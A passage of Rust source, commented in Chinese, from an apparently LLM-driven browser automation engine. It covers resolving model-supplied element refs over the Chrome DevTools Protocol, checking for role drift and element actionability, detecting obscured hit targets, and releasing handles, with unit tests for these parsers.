format!("act-{seq}")
}
/// **层③ 漂移判定**:把层② 拿回的元素实际 role/name 与 [`RefRecord`] 比对,判断 ref 是否漂移。
///
/// **role 严格**:不符即漂移(`true`)—— backendNodeId 复用后同一 ref 映射到不同角色的新元素,
/// 必须拦下(否则静默点错)。
/// **name 宽松**:动态文案常变(计数、时间、i18n),**不据 name 判漂移**(P2 契约)。name 仅供
/// 诊断 —— 调用方可记录差异但不应据此报 stale。
///
/// 返回 `true` = 漂移(调用方报 [`BrowserError::NodeStale`]);`false` = role 一致,放行。
pub fn ref_drifted(rec: &RefRecord, actual_role: &str, _actual_name: &str) -> bool {
rec.role != actual_role
}
impl CdpBackend {
/// 选某 RefRecord 所属帧的注入管线:主 page session → `self.injection`;否则查 `oopif_managers`。
/// 找不到 → `None`(调用方报 NodeStale / SessionLost,按语义;OOPIF 子 session 可能已 detach)。
/// `pub(crate)`:C1 的 [`crate::actions`] fill 路径据 record 选注入管线跑 `fill(node,value)`。
pub(crate) async fn manager_for_record(&self, rec: &RefRecord) -> Option<InjectionManager> {
// D1:page_session_id / injection_manager 现为 async(经 active tab 解引用)。active tab 缺失
// → 返 None(调用方报 NodeStale / SessionLost)。
if let Ok(active_session) = self.page_session_id().await
&& rec.session_id == active_session
{
return self.injection_manager().await.ok();
}
self.oopif_manager_for(&rec.session_id).await
}
/// **层①-only:LLM ref → [`RefRecord`]**(不进浏览器)。在**当前代际** ref 表里 `resolve(llm_ref)`:
/// 命中返记录(克隆出来,锁外用);不在(旧代际遗留 / 拼错 / 还没 observe)→ [`BrowserError::NodeStale`]
/// (带当前代际,文案引导重新 observe)。act 主循环(C1)用它**先于** arm_act_abort 拿 frame_id,并在
/// 每次重试 attempt 内重解析 ref(外层自愈)。
/// **D1**:`ref_table_lock()` 现为 async 返 active tab 的 ref_table Arc(clone Arc 后独立锁)。
pub async fn resolve_ref_record(&self, llm_ref: &str) -> Result<RefRecord, BrowserError> {
let ref_table = self.ref_table_lock().await?;
let guard = ref_table.lock().await;
match guard.as_ref().and_then(|t| t.resolve(llm_ref)) {
Some(r) => Ok(r.clone()),
None => Err(BrowserError::NodeStale {
generation: guard.as_ref().map(|t| t.generation().0).unwrap_or(0),
}),
}
}
/// **act 反查链公共入口(含层①)**:LLM 给的 ref 字符串 → 活元素 [`ObjectHandle`]。
///
/// 层①(廉价,纯 Rust):在**当前代际** ref 表里 `resolve(llm_ref)`;不在(旧代际遗留 / 拼错)
/// → [`BrowserError::NodeStale`](带当前代际),**不进浏览器**。命中(拿到 [`RefRecord`])后委托
/// [`Self::resolve_ref_to_object`] 跑层②(aria-ref selector → objectId)+ 层③(role 校验)。
///
/// `seq` 用于本次动作的 objectGroup(`act-<seq>`)。act facade(C1)以此为统一入口。
pub async fn resolve_ref(&self, llm_ref: &str, seq: u64) -> Result<ObjectHandle, BrowserError> {
let rec = self.resolve_ref_record(llm_ref).await?;
self.resolve_ref_to_object(&rec, seq).await
}
/// **act 反查链(层② + 层③)**:[`RefRecord`](层① 已通过)→ 活元素 [`ObjectHandle`]。
///
/// 步骤(层② + 层③):
/// 1. 选 rec 所属帧的注入管线(page session / OOPIF 子 session)。
/// 2. 层②:在该帧 utility world `call_on_injected_handle` 跑 vendored `aria-ref=` selector:
/// `parseSelector` + `querySelector` 取元素**句柄**(by-handle, objectGroup=`act-<seq>`)。
/// 元素不存在(aria-ref engine 因不在表 / not connected 返空)→ [`BrowserError::NotConnected`]。
/// 3. 层③:在拿到的元素句柄上读 `_ariaRef.{role,name}`,与 rec 二次比对;role 不符 →
/// [`BrowserError::NodeStale`](带当前代际)。
///
/// 返回的 [`ObjectHandle`] 的 `object_id` 是该 utility world 的活元素句柄,`group` 是
/// `act-<seq>`,动作收尾用 [`Self::release_act_group`] 释放。**绝不 panic**。
pub async fn resolve_ref_to_object(
&self,
rec: &RefRecord,
seq: u64,
) -> Result<ObjectHandle, BrowserError> {
let manager = self
.manager_for_record(rec)
.await
.ok_or(BrowserError::NotConnected)?;
let group = act_object_group(seq);
// ── 层②:vendored aria-ref selector → 元素句柄(by-handle,归入 objectGroup) ──
// 内联脚本:this 是 InjectedScript 实例;用它的 parseSelector + querySelector 跑
// `aria-ref=<full_ref>`(aria-ref engine 仅当 elements.get(ref).isConnected 才返元素)。
// 找不到 / 已 detach → 返 null(结果 RemoteObject subtype=null、无 objectId)。
let selector = aria_ref_selector(&rec.full_ref);
let lookup_fn = "function(sel) { \
const parsed = this.parseSelector(sel); \
const el = this.querySelector(parsed, document, false); \
return el || null; \
}";
let arg = CallArgument {
value: Some(serde_json::Value::String(selector)),
..Default::default()
};
let result = manager
.call_on_injected_handle(&rec.frame_id, lookup_fn, vec![arg], Some(&group), false)
.await
.map_err(map_inject_err)?;
// by-handle:找到 → result.objectId 是元素句柄;找不到 → 无 objectId(subtype=null)。
let object_id = match result.get("objectId").and_then(|v| v.as_str()) {
Some(id) => id.to_string(),
None => {
// 元素在层① 的代际表里但活 DOM 中已不存在(detach / not connected)= 漂移层②。
return Err(BrowserError::NotConnected);
}
};
// ── 层③:读元素 _ariaRef.{role,name} 二次校验(role 严格,name 宽松) ──
let aria_ref_fn =
"function() { return this && this._ariaRef ? { role: this._ariaRef.role, name: this._ariaRef.name } : null; }";
let aria = manager
.call_on_element(&object_id, aria_ref_fn, true)
.await
.map_err(map_inject_err)?;
// result.value = {role, name} | null。读不到 _ariaRef(极罕见:元素无 expando)→ 当作漂移。
let (actual_role, actual_name) = match aria.get("value") {
Some(v) if v.is_object() => (
v.get("role").and_then(|r| r.as_str()).unwrap_or("").to_string(),
v.get("name").and_then(|n| n.as_str()).unwrap_or("").to_string(),
),
_ => {
// 元素存在但没有 _ariaRef expando:无法校验来源,保守判 stale 并释放本组句柄。
let _ = manager.release_object_group(&group).await;
return Err(BrowserError::NodeStale {
generation: self.current_generation().await,
});
}
};
if ref_drifted(rec, &actual_role, &actual_name) {
tracing::warn!(
target: "nomi_browser_engine::actionability",
full_ref = %rec.full_ref,
expected_role = %rec.role, actual_role = %actual_role,
expected_name = %rec.name, actual_name = %actual_name,
"ref role mismatch (backendNodeId reuse / drift) -> NodeStale"
);
// 漂移:释放本组句柄,报 stale(带当前代际,让模型重新 observe 取新 ref)。
let _ = manager.release_object_group(&group).await;
return Err(BrowserError::NodeStale {
generation: self.current_generation().await,
});
}
Ok(ObjectHandle { object_id, group })
}
/// **actionability 五检查的 visible/stable/enabled/editable 批量判定**(DESIGN §11,设计裁决
/// ②):在已反查到的元素句柄上经 vendored PW 的 `checkElementStates`(injectedScript.ts:640,
/// async)一次性判完 `states` 列出的状态,返三态 [`CheckResult`]。第⑤检查 receivesEvents
/// (hit-target)不在 `checkElementStates`,由 B4 承担。
///
/// **调用编排**:`checkElementStates` 是 **InjectedScript 实例**的方法(元素作首参),故委托
/// [`InjectionManager::check_element_states`]——它以该帧 utility world 的注入实例为 `this`、元素
/// `object_id` 作首个 by-handle 参数、`states` 作 by-value 字符串数组次参。**实例与元素须同一
/// world**:act 反查产出的元素句柄正在主 page session 的 utility world,故这里用主帧的注入实例
/// (B3 范围只覆盖主 page session 的元素;OOPIF 跨 session 留 B4/收尾,届时 `ObjectHandle` 需带
/// 帧路由信息)。
///
/// 返回:
/// - `Ok(CheckResult::Pass)` —— `checkElementStates` 返 `undefined`,全过,放行;
/// - `Ok(CheckResult::Missing(state))` —— 某态瞬时缺失(含 **readonly→`Missing("editable")`**),**可重试**;
/// - `Ok(CheckResult::NotConnected)` —— 元素 detach(`'error:notconnected'`);
/// - `Err(BrowserError::Blocked{reason})` —— **editable 不可编辑特例**:元素类型根本不支持编辑
/// ([`is_non_editable_error`] 命中注入侧 `createStacklessError`),NonRecoverable,**禁重试**;
/// - 其它注入异常 → 经 [`map_inject_err`] 成 `Other`(调用方按需)。
///
/// **绝不 panic**。
pub async fn check_states(
&self,
h: &ObjectHandle,
states: &[&str],
) -> Result<CheckResult, BrowserError> {
let handles = self.active_tab_handles().await?;
let manager = handles.injection;
// B3 范围:元素在主 page session 的 utility world,用主帧注入实例当 `this`。
let frame_id = handles.main_frame_id;
let result = match manager
.check_element_states(&frame_id, &h.object_id, states)
.await
{
Ok(v) => v,
Err(InjectError::JsException(msg)) => {
// editable 不可编辑特例:元素类型根本不支持编辑 → NonRecoverable Blocked(禁重试)。
// 区别于暂时 readonly —— 那走正常返回的 Missing("editable")(可重试)。
if is_non_editable_error(&msg) {
return Err(BrowserError::Blocked { reason: msg });
}
// 其它注入异常:按普通 JsException 处理(→ Other)。
return Err(map_inject_err(InjectError::JsException(msg)));
}
Err(e) => return Err(map_inject_err(e)),
};
Ok(parse_check_result(result.get("value")))
}
// ═══════════════════════════════════════════════════════════════════════
// double hit-target 三步舞(DESIGN §11,设计裁决③):算点→真点→stop 读「布局是否漂移 /
// 是否被遮挡」→ block 误点。actionability 第⑤检查 receivesEvents 的承担者。点击(B5)夹在
// hit_setup 与 hit_stop 之间;interceptor 句柄全程 LIVE(setup by_value=false 保活),到
// hit_stop 完才随 act-<seq> objectGroup 一次释放。**绝不 panic**。
// ═══════════════════════════════════════════════════════════════════════
/// **三步舞第①步:装 hit-target 拦截器**(DESIGN §11,设计裁决③)。经 vendored PW
/// `setupHitTargetInterceptor`(injectedScript.ts:1067)在元素上装一个 capture-phase 事件拦截器
/// (`this._hitTargetInterceptor`),并预检该 `point` 是否已被别的元素(如全屏 modal)遮挡。
///
/// **调用编排**:`setupHitTargetInterceptor` 是 **InjectedScript 实例**方法(首参是 node),故经
/// [`InjectionManager::call_on_injected_handle`] 以该帧 utility world 的注入实例为 `this`、元素
/// `h.object_id` 作首个 by-handle 参数、`action`/`{x,y}`/`block_all` 作 by-value 次参传入。
/// **`return_by_value=false`**:interceptor 是含 `stop()` 闭包的对象,必须取**句柄**保活到点击
/// 之后(取值会丢掉闭包,stop 就读不到点击期间分发的事件)。元素与注入实例须**同一 world**
/// (act 反查产出的句柄正在主 page session 的 utility world,见 §7;B4 只覆盖主帧,OOPIF 跨
/// session 留收尾)。
///
/// 返回([`setup_result_outcome`] 三态翻译):
/// - `Ok(HitInterceptor)` —— 拦截器装好(回包有 objectId);句柄归入 `h.group`(`act-<seq>`),
/// 点击后调 [`Self::hit_stop`] 读判定,动作收尾随该组一次 releaseObjectGroup 释放;
/// - `Err(BrowserError::Blocked{reason})` —— **预检短路**:`point` 已被遮挡,setup 内的
/// `expectHitTarget` 预检失败、短路返 hitTargetDescription 字符串(无需走点击,reason 指向
/// 遮挡元素,如 `DIV#overlay`);
/// - `Err(BrowserError::NotConnected)` —— 元素已 detach(`'error:notconnected'`)。
///
/// `action` 取 `'mouse'`/`'hover'`/`'tap'`/`'drag'`(injectedScript.ts:197-200 决定拦哪些事件;点击走
/// `'mouse'`)。`block_all` 为 `true` 时拦截器**阻断**所有命中事件(PW 在 hit 检查失败后用来防止
/// 误点传播;正常 setup 传 `false`)。
pub async fn hit_setup(
&self,
h: &ObjectHandle,
action: &str,
point: Point,
block_all: bool,
) -> Result<HitInterceptor, BrowserError> {
let handles = self.active_tab_handles().await?;
let manager = handles.injection;
// B4 范围:元素在主 page session 的 utility world,用主帧注入实例当 `this`。
let frame_id = handles.main_frame_id;
// function(node, action, hitPoint, blockAll){ return this.setupHitTargetInterceptor(...) }
let setup_fn = "function(node, action, hitPoint, blockAll) { \
return this.setupHitTargetInterceptor(node, action, hitPoint, blockAll); \
}";
let args = vec![
// 元素 node(by-handle,同 world)。
CallArgument {
object_id: Some(
chromiumoxide::cdp::js_protocol::runtime::RemoteObjectId::new(h.object_id.clone()),
),
..Default::default()
},
// action(by-value 字符串)。
CallArgument {
value: Some(Value::String(action.to_string())),
..Default::default()
},
// hitPoint {x,y}(by-value)。
CallArgument {
value: Some(serde_json::json!({ "x": point.x, "y": point.y })),
..Default::default()
},
// blockAllEvents(by-value bool)。
CallArgument {
value: Some(Value::Bool(block_all)),
..Default::default()
},
];
// return_by_value=false:保住 interceptor 对象(含 stop 闭包)的句柄到点击之后。
let result = manager
.call_on_injected_handle(&frame_id, setup_fn, args, Some(&h.group), false)
.await
.map_err(map_inject_err)?;
match setup_result_outcome(&result) {
SetupOutcome::Handle(object_id) => Ok(HitInterceptor {
object_id,
group: h.group.clone(),
}),
// 预检短路:已被遮挡 → Blocked(reason 指向遮挡元素)。无需走点击。
SetupOutcome::Blocked(reason) => Err(BrowserError::Blocked { reason }),
// 元素 detach → NotConnected。
SetupOutcome::NotConnected => Err(BrowserError::NotConnected),
}
}
/// **三步舞第③步:读 hit-target 判定**(点击已在 setup 与此之间分发完)。在 setup 装的
/// interceptor 句柄上调其 `stop()`([`crate::injected::InjectionManager::call_on_element`],
/// `function(){ return this.stop() }`,by-value)。`stop()` 返「点击期间首个命中事件落在目标
/// 元素(或其后代)上 = `'done'`」| 「落在了别的元素 = `{ hitTargetDescription }` = 算点与事件
/// 分发间布局漂移 / 被遮挡的误点」(injectedScript.ts:1119-1127)。
///
/// **没收到任何事件也算成功**(stop 内 `return result || 'done'`:JS disabled / 跨帧 iframe 遮挡
/// 等导致无事件触发时保守放行)—— 故无事件 → `Ok(())`。
///
/// 返回([`parse_hit_target_value`] 两态翻译):
/// - `Ok(())` —— `'done'`(命中目标,放行);
/// - `Err(BrowserError::Blocked{reason})` —— `{ hitTargetDescription }`(布局漂移误点,reason 指向
/// 实际命中的元素)。
pub async fn hit_stop(&self, i: &HitInterceptor) -> Result<(), BrowserError> {
let manager = self.injection_manager().await?;
let stop_fn = "function() { return this.stop(); }";
let result = manager
.call_on_element(&i.object_id, stop_fn, true)
.await
.map_err(map_inject_err)?;
parse_hit_target_value(result.get("value"))
}
/// **遮挡权威判定(无拦截器,一次性)**:在元素句柄上直接跑 vendored PW
/// `expectHitTarget`(injectedScript.ts:955)—— 用 `elementsFromPoint`/`elementFromPoint` 沿
/// (含 shadow root 的)composed 树判 `point` 命中的最内元素是否为目标元素或其后代。是 →
/// `'done'`;否 → `{ hitTargetDescription }`(命中了遮挡它的元素)。
///
/// **用途**:①点击前的**廉价预检**(不装拦截器、不真点,直接问「此刻这个点会不会点到别人」);
/// ②CSS transform / 跨帧 iframe 等场景下,setup 的拦截器路径可能拿不到事件,此函数作**遮挡判定
/// 的权威退路**。
///
/// **调用编排**:`expectHitTarget` 是 InjectedScript 实例方法,签名 `(hitPoint, targetElement)`,故经
/// [`InjectionManager::call_on_injected_handle`] 以注入实例为 `this`、`{x,y}` 作 by-value 首参、元素
/// `h.object_id` 作 by-handle 次参传入(by-value 取结果)。元素须与注入实例同一 world(B4 主帧)。
///
/// 返回([`parse_hit_target_value`] 两态翻译):`Ok(())`(`'done'`,未被遮挡)|
/// `Err(BrowserError::Blocked{reason})`(`{ hitTargetDescription }`,reason 指向遮挡元素)。
pub async fn expect_hit_target(
&self,
h: &ObjectHandle,
point: Point,
) -> Result<(), BrowserError> {
let handles = self.active_tab_handles().await?;
let manager = handles.injection;
let frame_id = handles.main_frame_id;
// function(hitPoint, node){ return this.expectHitTarget(hitPoint, node) }
let expect_fn = "function(hitPoint, node) { return this.expectHitTarget(hitPoint, node); }";
let args = vec![
// hitPoint {x,y}(by-value 首参)。
CallArgument {
value: Some(serde_json::json!({ "x": point.x, "y": point.y })),
..Default::default()
},
// 目标元素 node(by-handle 次参)。
CallArgument {
object_id: Some(
chromiumoxide::cdp::js_protocol::runtime::RemoteObjectId::new(h.object_id.clone()),
),
..Default::default()
},
];
// by-value:结果是 'done' 或 {hitTargetDescription},皆可序列化。归入元素同组(无新句柄,
// 但传 group 保持一致;by-value 不产句柄故释放与否无害)。
let result = manager
.call_on_injected_handle(&frame_id, expect_fn, args, Some(&h.group), true)
.await
.map_err(map_inject_err)?;
parse_hit_target_value(result.get("value"))
}
/// 释放一次动作的 objectGroup(`act-<seq>`)—— 动作收尾(成功/失败均然)调一次,释放该次
/// 反查产生的全部元素句柄。需 rec 定位所属帧的注入管线(句柄归属该帧 utility world)。
/// best-effort:管线找不到 / 释放失败均不致命(句柄随导航/GC 自然回收),只 warn。
pub async fn release_act_group(&self, rec: &RefRecord, seq: u64) {
let group = act_object_group(seq);
let Some(manager) = self.manager_for_record(rec).await else {
tracing::warn!(
target: "nomi_browser_engine::actionability",
session_id = %rec.session_id, group = %group,
"release_act_group: manager not found (skip)"
);
return;
};
if let Err(e) = manager.release_object_group(&group).await {
tracing::warn!(
target: "nomi_browser_engine::actionability",
group = %group, error = ?e,
"release_act_group: releaseObjectGroup failed (non-fatal)"
);
}
}
/// **按 ref 字符串释放动作组**([`Self::release_act_group`] 的 facade 友好封装):act 持有 ref
/// 字符串 + seq,用它定位 RefRecord(取所属帧)再整组释放。ref 已不在表(导航翻新代际)→
/// 静默跳过(句柄随导航自然回收)。绝不 panic。
pub async fn release_act_group_by_ref(&self, llm_ref: &str, seq: u64) {
// D1:ref_table_lock 现 async(active tab 的 ref_table Arc)。active tab 缺失 → 视作 ref 已失效。
let rec = match self.ref_table_lock().await {
Ok(ref_table) => {
let guard = ref_table.lock().await;
guard.as_ref().and_then(|t| t.resolve(llm_ref)).cloned()
}
Err(_) => None,
};
match rec {
Some(r) => self.release_act_group(&r, seq).await,
None => {
// ref 已随导航失效:其句柄所在 world 已销毁,无需显式释放。
tracing::debug!(
target: "nomi_browser_engine::actionability",
llm_ref = %llm_ref, seq,
"release_act_group_by_ref: ref not in current table (skip)"
);
}
}
}
/// **arm 一个 objectGroup 释放的 RAII drop-guard**(动作骨架收口;类型保证非约定)。
///
/// [`crate::actions::CdpBackend::act_with_skeleton`] 在反查所属帧的注入管线后调本方法 arm 一个
/// [`ActGroupReleaseGuard`],把它绑在整个动作生命周期上(`let _g = arm_act_group_release(...);
/// run_act_with_retry(...).await`)。**无论动作正常返回 / `?` 早返 / await 点 panic**,guard 离开
/// 作用域即 Drop,释放本动作 objectGroup(`act-<seq>`)的全部句柄——把原「手动 finally」升级成
/// 类型保证(C2/C3 后续若在骨架与 release 间插 `?` 或 panic 也不泄漏;keystone 被多动作复用,风险
/// 放大,故收口)。
///
/// `rec` 用来定位所属帧的注入管线(句柄归该帧 utility world)。管线找不到(OOPIF 子 session 已
/// detach)→ guard 为 no-op(句柄随 world 销毁自然回收,无需释放)。release 是 async 而 `Drop`
/// 不能 await:guard 的 Drop 用 `tokio::spawn` fire-and-forget 一次 `release_object_group`(参照
/// [`crate::backend::cdp::ActAbortGuard`] 的 Drop 范式——它同样在 Drop 里 `JoinHandle::abort`)。
/// 正常路径**只释放一次**(guard 是唯一释放点,无手动双释放)。**绝不 panic**。
pub async fn arm_act_group_release(&self, rec: &RefRecord, seq: u64) -> ActGroupReleaseGuard {
let group = act_object_group(seq);
// 反查所属帧注入管线(InjectionManager 克隆友好:Connection 共享传输、shared 是 Arc<Mutex>)。
// 找不到(OOPIF 子 session detach)→ no-op guard:句柄随 world 销毁自然回收。
let manager = self.manager_for_record(rec).await;
ActGroupReleaseGuard {
release: manager.map(|m| (m, group)),
}
}
}
/// **objectGroup 释放的 RAII drop-guard**([`CdpBackend::arm_act_group_release`] 返回):持所属帧的
/// [`InjectionManager`] 句柄 + 组名(`act-<seq>`);Drop 时 `tokio::spawn` fire-and-forget 一次
/// `Runtime.releaseObjectGroup`,释放本动作 objectGroup 的全部元素句柄。
///
/// **为何 `tokio::spawn`**:`release_object_group` 是 async,而 `Drop` 是同步上下文(不能 await)。
/// release 是幂等且 best-effort(组名不存在/已释放 CDP 不报错;句柄也随导航/GC 自然回收),故 detach
/// 一个释放任务、不等其完成是安全的——失败只 warn,不影响动作语义。这与
/// [`crate::backend::cdp::ActAbortGuard`] 在 Drop 里 `JoinHandle::abort()`(同样 fire-and-forget)
/// 同源。`release` 为 `None` 时(管线找不到)Drop 是 no-op。**Drop 绝不 panic**。
pub struct ActGroupReleaseGuard {
/// `Some((manager, group))` = arm 成功,Drop 释放该组;`None` = no-op(管线找不到 / 已 take)。
release: Option<(InjectionManager, String)>,
}
impl Drop for ActGroupReleaseGuard {
fn drop(&mut self) {
// take():保证只释放一次(无手动 + RAII 双释放;guard 是唯一释放点)。
if let Some((manager, group)) = self.release.take() {
// release_object_group 是 async;Drop 不能 await → fire-and-forget 一个释放任务。
// best-effort:失败只 warn(组随导航/GC 自然回收,不影响动作语义)。绝不 panic。
tokio::spawn(async move {
if let Err(e) = manager.release_object_group(&group).await {
tracing::warn!(
target: "nomi_browser_engine::actionability",
group = %group, error = ?e,
"ActGroupReleaseGuard: releaseObjectGroup failed (non-fatal)"
);
}
});
}
}
}
// ═══════════════════════════════════════════════════════════════════════════
// 纯逻辑单测(无浏览器):selector 拼接、objectGroup 命名、层③ role/name 漂移判定。
// 真实反查(aria-ref selector → objectId、stale → NodeStale、release)见 #[ignore] 集成。
// ═══════════════════════════════════════════════════════════════════════════
#[cfg(test)]
mod tests {
use super::*;
fn rec(role: &str, name: &str, full_ref: &str) -> RefRecord {
RefRecord {
session_id: "S".into(),
frame_id: "F".into(),
full_ref: full_ref.into(),
role: role.into(),
name: name.into(),
}
}
#[test]
fn aria_ref_selector_prepends_engine_name_with_full_ref() {
// 必须用**完整** ref(含帧前缀 f<seq>),因 injected 的 elements Map 以完整 ref 为键。
assert_eq!(aria_ref_selector("f3e7"), "aria-ref=f3e7");
assert_eq!(aria_ref_selector("f0e1"), "aria-ref=f0e1");
assert_eq!(aria_ref_selector("f12e345"), "aria-ref=f12e345");
}
#[test]
fn act_object_group_names_per_seq() {
assert_eq!(act_object_group(0), "act-0");
assert_eq!(act_object_group(7), "act-7");
// 不同 seq 名不同(动作隔离释放)。
assert_ne!(act_object_group(1), act_object_group(2));
}
#[test]
fn ref_drifted_role_mismatch_is_drift() {
let r = rec("button", "Submit order", "f0e1");
// role 一致 + name 一致 → 不漂移。
assert!(!ref_drifted(&r, "button", "Submit order"));
// role 不符 → 漂移(即便 name 巧合相同)。
assert!(ref_drifted(&r, "link", "Submit order"));
assert!(ref_drifted(&r, "textbox", "Submit order"));
}
#[test]
fn ref_drifted_name_is_lenient() {
let r = rec("button", "Submit order", "f0e1");
// role 一致、name 变了(动态文案)→ **不**判漂移(P2 契约:name 宽松)。
assert!(!ref_drifted(&r, "button", "Submit order (3)"));
assert!(!ref_drifted(&r, "button", ""));
assert!(!ref_drifted(&r, "button", "完全不同的名字"));
}
#[test]
fn ref_drifted_empty_role_record_matches_empty_actual() {
// 退化:rec.role 为空(极罕见的无 role 元素),actual 也空 → 不漂移。
let r = rec("", "", "f0e9");
assert!(!ref_drifted(&r, "", ""));
// rec 无 role 但 actual 有 role → 漂移(严格)。
assert!(ref_drifted(&r, "button", ""));
}
// ── check_states 三态解析([纯逻辑],喂构造 Value,不进浏览器)────────────────────
#[test]
fn parse_check_result_undefined_is_pass() {
// `checkElementStates` 全过返 `undefined` → by-value 下缺 `value` 字段(None)→ Pass。
assert_eq!(parse_check_result(None), CheckResult::Pass);
// 显式 JSON null(极个别 CDP 形态)同样视为全过。
assert_eq!(parse_check_result(Some(&Value::Null)), CheckResult::Pass);
}
#[test]
fn parse_check_result_missing_state_is_missing() {
// `{missingState:"visible"}` → Missing("visible")(hidden 元素:visible 缺态)。
let v = serde_json::json!({"missingState": "visible"});
assert_eq!(parse_check_result(Some(&v)), CheckResult::Missing("visible".into()));
// disabled 元素:enabled 缺态。
let v = serde_json::json!({"missingState": "enabled"});
assert_eq!(parse_check_result(Some(&v)), CheckResult::Missing("enabled".into()));
// readonly input:editable 缺态(**可重试**,区别于不可编辑特例的 Blocked)。
let v = serde_json::json!({"missingState": "editable"});
assert_eq!(parse_check_result(Some(&v)), CheckResult::Missing("editable".into()));
// stable 缺态(元素仍在动)。
let v = serde_json::json!({"missingState": "stable"});
assert_eq!(parse_check_result(Some(&v)), CheckResult::Missing("stable".into()));
}
#[test]
fn parse_check_result_notconnected_is_notconnected() {
// `'error:notconnected'` → NotConnected(元素已 detach)。
let v = Value::String("error:notconnected".into());
assert_eq!(parse_check_result(Some(&v)), CheckResult::NotConnected);
}
#[test]
fn parse_check_result_unknown_shapes_are_conservatively_notconnected() {
// 注入契约只产上述三态;任何陌生形状保守判 NotConnected(不静默放行点击)。
assert_eq!(
parse_check_result(Some(&Value::String("weird".into()))),
CheckResult::NotConnected
);
// 对象但无 missingState 字段。
let v = serde_json::json!({"foo": "bar"});
assert_eq!(parse_check_result(Some(&v)), CheckResult::NotConnected);
// missingState 非字符串(坏形状)。
let v = serde_json::json!({"missingState": 7});
assert_eq!(parse_check_result(Some(&v)), CheckResult::NotConnected);
// 标量数字 / bool / 数组。
assert_eq!(parse_check_result(Some(&serde_json::json!(1))), CheckResult::NotConnected);
assert_eq!(parse_check_result(Some(&serde_json::json!(true))), CheckResult::NotConnected);
assert_eq!(parse_check_result(Some(&serde_json::json!([]))), CheckResult::NotConnected);
}
// ── editable 异常分类([纯逻辑]:不可编辑特例 → NonRecoverable,区别于其它注入异常)──
#[test]
fn is_non_editable_error_matches_stackless_error_text() {
// 注入侧 `createStacklessError('Element is not an <input>, … [aria-readonly]')`
// (injectedScript.ts:745)的原文 → NonRecoverable(→ Blocked,禁重试)。
let msg = "Element is not an <input>, <textarea>, <select> or [contenteditable] \
and does not have a role allowing [aria-readonly]";
assert!(is_non_editable_error(msg));
// chromium 端 `new Error(msg)` 的 `exception.description` 带 `Error: ` 前缀(describe_exception
// 优先取它)——子串匹配不锚首,仍命中。
let with_prefix = format!("Error: {msg}");
assert!(is_non_editable_error(&with_prefix));
// checked/indeterminate 类「类型不支持该状态」同属 NonRecoverable(前瞻覆盖)。
assert!(is_non_editable_error("Not a checkbox or radio button"));
}
#[test]
fn is_non_editable_error_rejects_unrelated_exceptions() {
// 其它注入异常(瞬态 / 我方 bug)**不**判 NonRecoverable —— 走普通 JsException→Other。
assert!(!is_non_editable_error("TypeError: x is not a function"));
assert!(!is_non_editable_error("Node is not queryable."));
assert!(!is_non_editable_error(""));
assert!(!is_non_editable_error("Unexpected element state \"frobnicate\""));
}
// ── double hit-target 三步舞解析([纯逻辑],喂构造 Value,不进浏览器)──────────────
#[test]
fn setup_result_outcome_objectid_is_handle() {
// setup 返 interceptor 对象 → by-handle 回包有 objectId(subtype 'object')→ Handle。
let v = serde_json::json!({"type": "object", "objectId": "OBJ-7"});
assert_eq!(setup_result_outcome(&v), SetupOutcome::Handle("OBJ-7".into()));
// 即使同时带 value/subtype,只要有 objectId 就是句柄(保活路径)。
let v = serde_json::json!({"type": "object", "subtype": null, "objectId": "OBJ-8"});
assert_eq!(setup_result_outcome(&v), SetupOutcome::Handle("OBJ-8".into()));
}
#[test]
fn setup_result_outcome_notconnected_string() {
// setup 短路返 'error:notconnected'(元素 detach)→ by-value 字符串,无 objectId → NotConnected。
let v = serde_json::json!({"type": "string", "value": "error:notconnected"});
assert_eq!(setup_result_outcome(&v), SetupOutcome::NotConnected);
}
#[test]
fn setup_result_outcome_hit_target_description_string_is_blocked() {
// setup 预检短路返 bare hitTargetDescription(已被遮挡)→ by-value 字符串,无 objectId → Blocked。
let v = serde_json::json!({"type": "string", "value": "DIV#overlay"});
assert_eq!(
setup_result_outcome(&v),
SetupOutcome::Blocked("DIV#overlay".into())
);
// 形如 “X from Y subtree” 的根遮挡描述同样作 Blocked 透传。
let v = serde_json::json!({"type": "string", "value": "BUTTON from DIALOG#modal subtree"});
assert_eq!(
setup_result_outcome(&v),
SetupOutcome::Blocked("BUTTON from DIALOG#modal subtree".into())
);
}
#[test]
fn setup_result_outcome_unknown_shape_is_conservatively_notconnected() {
// 无 objectId 也无字符串 value(不该发生)→ 保守 NotConnected(不放行点击)。
let v = serde_json::json!({"type": "undefined"});
assert_eq!(setup_result_outcome(&v), SetupOutcome::NotConnected);
// value 非字符串(坏形状)。
let v = serde_json::json!({"value": 7});
assert_eq!(setup_result_outcome(&v), SetupOutcome::NotConnected);
let v = serde_json::json!({});
assert_eq!(setup_result_outcome(&v), SetupOutcome::NotConnected);
}
#[test]
fn parse_hit_target_value_done_is_ok() {
// stop()/expectHitTarget 返 'done' → 命中目标 → Ok。
let v = Value::String("done".into());
assert!(parse_hit_target_value(Some(&v)).is_ok());
}
#[test]
fn parse_hit_target_value_description_is_blocked_with_reason() {
// {hitTargetDescription:"DIV#overlay"} → 误点遮挡 → Blocked,reason == 描述。
let v = serde_json::json!({"hitTargetDescription": "DIV#overlay"});
match parse_hit_target_value(Some(&v)) {
Err(BrowserError::Blocked { reason }) => assert_eq!(reason, "DIV#overlay"),
other => panic!("expected Blocked(DIV#overlay), got {other:?}"),
}
// 根遮挡 “X from Y subtree” 描述同样透传到 reason。
let v = serde_json::json!({"hitTargetDescription": "SPAN from DIALOG#m subtree"});
match parse_hit_target_value(Some(&v)) {
Err(BrowserError::Blocked { reason }) => {
assert_eq!(reason, "SPAN from DIALOG#m subtree")
}
other => panic!("expected Blocked, got {other:?}"),
}
}
#[test]
fn parse_hit_target_value_unknown_shapes_are_conservatively_blocked() {
// 注入契约只产 'done' | {hitTargetDescription};任何陌生形状保守 Blocked(不静默放行)。
assert!(matches!(
parse_hit_target_value(None),
Err(BrowserError::Blocked { .. })
));
assert!(matches!(
parse_hit_target_value(Some(&Value::String("weird".into()))),
Err(BrowserError::Blocked { .. })
));
// 对象但无 hitTargetDescription。
let v = serde_json::json!({"foo": "bar"});
assert!(matches!(
parse_hit_target_value(Some(&v)),
Err(BrowserError::Blocked { .. })
));
// 标量数字 / bool / 数组。
assert!(matches!(
parse_hit_target_value(Some(&serde_json::json!(1))),
Err(BrowserError::Blocked { .. })
));
assert!(matches!(
parse_hit_target_value(Some(&serde_json::json!(true))),
Err(BrowserError::Blocked { .. })
));
assert!(matches!(
parse_hit_target_value(Some(&serde_json::json!([]))),
Err(BrowserError::Blocked { .. })
));
}
}
File diff suppressed because it is too large Load Diff
